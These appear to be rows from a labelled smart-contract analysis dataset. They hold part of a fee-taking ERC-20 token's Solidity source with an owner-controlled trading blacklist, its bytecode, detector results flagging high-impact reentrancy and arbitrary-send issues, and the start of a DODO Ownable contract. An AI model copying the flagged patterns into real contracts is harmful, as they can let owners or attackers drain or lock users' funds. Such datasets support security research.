bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280601981526020017f48616e636f636b20742e6d652f48616e636f636b546f6b656e00000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f48616e636f636b00000000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a819055506014600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203a46728be8e855b3dcc09ecf0304f634e1b33872256c074e6444e4e54d2df9f664736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,402 |
0x380312700ed61e4401d27e62508b82d0ae162d9e
|
// File: contracts/lib/Ownable.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract Ownable {
address public _OWNER_;
address public _NEW_OWNER_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
constructor() internal {
_OWNER_ = msg.sender;
emit OwnershipTransferred(address(0), _OWNER_);
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "INVALID_OWNER");
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() external {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/intf/IERC20.sol
// This is a file copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
